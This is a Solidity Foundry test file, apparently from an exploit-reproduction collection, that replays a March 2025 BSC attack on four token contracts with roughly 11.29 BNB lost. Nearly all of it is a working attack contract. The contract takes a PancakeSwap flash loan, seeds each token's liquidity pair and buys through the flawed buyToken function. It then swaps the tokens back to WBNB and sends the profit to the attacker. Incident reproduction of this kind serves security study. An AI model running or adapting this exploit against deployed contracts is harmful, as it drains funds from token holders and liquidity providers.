src/test/2025-03/Pump_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~ 11.29 BNB ($6.4K)
8// Attacker : https://bscscan.com/address/0x5d6e908c4cd6eda1c2a9010d1971c7d62bdb5cd3
9// Attack Contract : https://bscscan.com/address/0x0e220c6c52d383869a5085ef074b6028254b3462
10// Vulnerable Contract : TAGAIFUN, GROK, PEPE, TEST ... TokenContract
11// Attack Tx : https://bscscan.com/tx/0xdebaa13fb06134e63879ca6bcb08c5e0290bdbac3acf67914c0b1dcaf0bdc3dd
12 
13// @Info
14// Vulnerable Contract Code :
15//  - TAGAIFUN: https://bscscan.com/address/0x09762e00ce0de8211f7002f70759447b1f2b1892#code
16//  - GROK: https://bscscan.com/address/0x02e8ead6de82c8a248ef0eebe145295116d0e4c2#code
17//  - PEPE: https://bscscan.com/address/0x6b7e9be56ca035d3471da76caa99f165449697a0#code
18//  - TEST: https://bscscan.com/address/0xba0d236fbcbd34052cdab29c4900063f9efe6e4f#code
19 
20// @Analysis
21// Post-mortem : N/A
22// Twitter Guy : https://x.com/TenArmorAlert/status/1897115993962635520
23// Hacking God : N/A
24 
25address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
26address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
27address constant TAGAIFUN_TOKEN = 0x09762e00Ce0DE8211F7002F70759447B1F2b1892;
28address constant GROK_TOKEN = 0x02E8eAd6De82c8a248eF0EebE145295116D0E4C2;
29address constant PEPE_TOKEN = 0x6B7e9Be56cA035D3471dA76caa99f165449697A0;
30address constant TEST_TOKEN = 0xBA0D236FbcbD34052CdAB29c4900063F9Efe6E4f;
31address constant PANCAKE_V3_POOL_BUSD_WBNB = 0x172fcD41E0913e95784454622d1c3724f546f849;
32address constant PANCAKE_V2_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
33address constant PANCAKE_V2_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
34 
35contract Pump_exp is BaseTestWithBalanceLog {
36    uint256 blocknumToForkFrom = 47_169_116 - 1;
37 
38    function setUp() public {
39        vm.createSelectFork("bsc", blocknumToForkFrom);
40        // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
41        fundingToken = address(0);
42 
43        vm.label(WBNB_ADDR, "WBNB");
44        vm.label(BSC_USD, "BUSD");
45        vm.label(TAGAIFUN_TOKEN, "TAGAIFUN");
46        vm.label(GROK_TOKEN, "GROK");
47        vm.label(PEPE_TOKEN, "PEPE");
48        vm.label(TEST_TOKEN, "TEST");
49        vm.label(PANCAKE_V3_POOL_BUSD_WBNB, "PancakeV3Pool: BUSD/WBNB");
50        vm.label(PANCAKE_V2_FACTORY, "PancakeSwap: Factory v2");
51        vm.label(PANCAKE_V2_ROUTER, "PancakeSwap: Router v2");
52    }
53 
54    function testExploit() public balanceLog {
55        AttackContract attackContract = new AttackContract();
56        address[] memory tokenPairs = new address[](4);
57        tokenPairs[0] = TAGAIFUN_TOKEN;
58        tokenPairs[1] = GROK_TOKEN;
59        tokenPairs[2] = PEPE_TOKEN;
60        tokenPairs[3] = TEST_TOKEN;
61        attackContract.start(tokenPairs);
62    }
63 
64    receive() external payable {
65        // Handle the received funds
66    }
67}
68 
69contract AttackContract {
70    address attacker;
71    address[] tokenPairs;
72    uint256 borrowAmount = 100_000_000_000_000_000_000;
73 
74    constructor() {
75        attacker = msg.sender;
76    }
77 
78    function start(address[] memory _tokenPairs) public {
79        tokenPairs = _tokenPairs;
80        IPancakeV3PoolActions(PANCAKE_V3_POOL_BUSD_WBNB).flash(address(this), 0, borrowAmount, "");
81    }
82 
83    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
84        uint256 balanceOfWBNB = TokenHelper.getTokenBalance(WBNB_ADDR, address(this));
85        WBNB(WBNB_ADDR).withdraw(balanceOfWBNB);
86 
87        for (uint256 i = 0; i < tokenPairs.length; i++) {
88            address token = tokenPairs[i];
89 
90            address pair = IUniswapV2Factory(PANCAKE_V2_FACTORY).getPair(token, WBNB_ADDR);
91            IToken(token).buyToken{value: 0.001 ether}(0, address(0), 0, pair);
92 
93            WBNB(WBNB_ADDR).deposit{value: 1 ether}();
94            WBNB(WBNB_ADDR).transfer(pair, 1 ether);
95            IPancakePair(pair).mint(address(this));
96            IToken(token).buyToken{value: 20 ether}(0, address(0), 0, address(this));
97 
98            TokenHelper.approveToken(token, PANCAKE_V2_ROUTER, type(uint256).max);
99            uint256 balanceOfToken = TokenHelper.getTokenBalance(token, address(this));
100            address[] memory path = new address[](2);
101            path[0] = token;
102            path[1] = WBNB_ADDR;
103            IPancakeRouter(payable(PANCAKE_V2_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
104                balanceOfToken, 0, path, address(this), block.timestamp + 1000
105            );
106        }
107 
108        WBNB(WBNB_ADDR).deposit{value: address(this).balance}();
109        WBNB(WBNB_ADDR).transfer(PANCAKE_V3_POOL_BUSD_WBNB, borrowAmount + fee1);
110        balanceOfWBNB = TokenHelper.getTokenBalance(WBNB_ADDR, address(this));
111        WBNB(WBNB_ADDR).withdraw(balanceOfWBNB);
112 
113        // Transfer the BNB to the attacker
114        payable(attacker).transfer(address(this).balance);
115    }
116 
117    receive() external payable {
118        // Handle the received funds
119    }
120}
121 
122interface IToken is IERC20 {
123    function buyToken(
124        uint256 expectAmount,
125        address sellsman,
126        uint16 slippage,
127        address receiver
128    ) external payable returns (uint256);
129}